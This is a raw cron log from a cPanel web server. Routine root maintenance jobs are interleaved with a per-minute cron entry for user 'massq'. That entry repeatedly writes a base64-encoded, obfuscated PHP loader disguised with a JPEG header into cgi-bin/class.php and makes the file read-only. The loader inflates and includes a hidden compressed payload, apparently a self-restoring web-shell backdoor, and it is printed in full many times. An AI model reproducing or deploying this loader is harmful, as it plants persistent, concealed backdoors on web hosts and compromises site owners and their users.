Sep  3 15:05:01 server CROND[5371]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:05:01 server CROND[5372]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  3 15:05:01 server CROND[5374]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:05:01 server CROND[5375]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:05:01 server CROND[5373]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:05:01 server CROND[5370]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:06:01 server CROND[6259]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:06:01 server CROND[6262]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:06:01 server CROND[6261]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:07:01 server CROND[6632]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:07:01 server CROND[6639]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:07:01 server CROND[6670]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:08:02 server CROND[7227]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:08:02 server CROND[7228]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:08:02 server CROND[7229]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:09:01 server CROND[7692]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:09:01 server CROND[7695]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:09:01 server CROND[7694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:09:01 server CROND[7693]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  3 15:10:01 server CROND[8079]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 15:10:01 server CROND[8082]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:10:02 server CROND[8085]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:10:02 server CROND[8086]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:10:02 server CROND[8089]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:10:02 server CROND[8087]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:10:02 server CROND[8092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:10:02 server CROND[8090]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:11:01 server CROND[8911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:11:01 server CROND[8910]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:11:01 server CROND[8912]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:12:01 server CROND[9292]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 15:12:01 server CROND[9294]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:12:01 server CROND[9293]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:12:01 server CROND[9295]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:13:01 server CROND[9664]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:13:01 server CROND[9665]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:13:01 server CROND[9666]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:14:01 server CROND[10128]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:14:01 server CROND[10129]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:14:01 server CROND[10130]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:15:01 server CROND[10506]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:15:01 server CROND[10508]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 15:15:01 server CROND[10512]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  3 15:15:01 server CROND[10510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 15:15:01 server CROND[10511]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 15:15:01 server CROND[10513]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 15:15:01 server CROND[10514]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 15:15:01 server CROND[10517]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 15:16:01 server CROND[11424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 15:16:01 server CROND[11425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
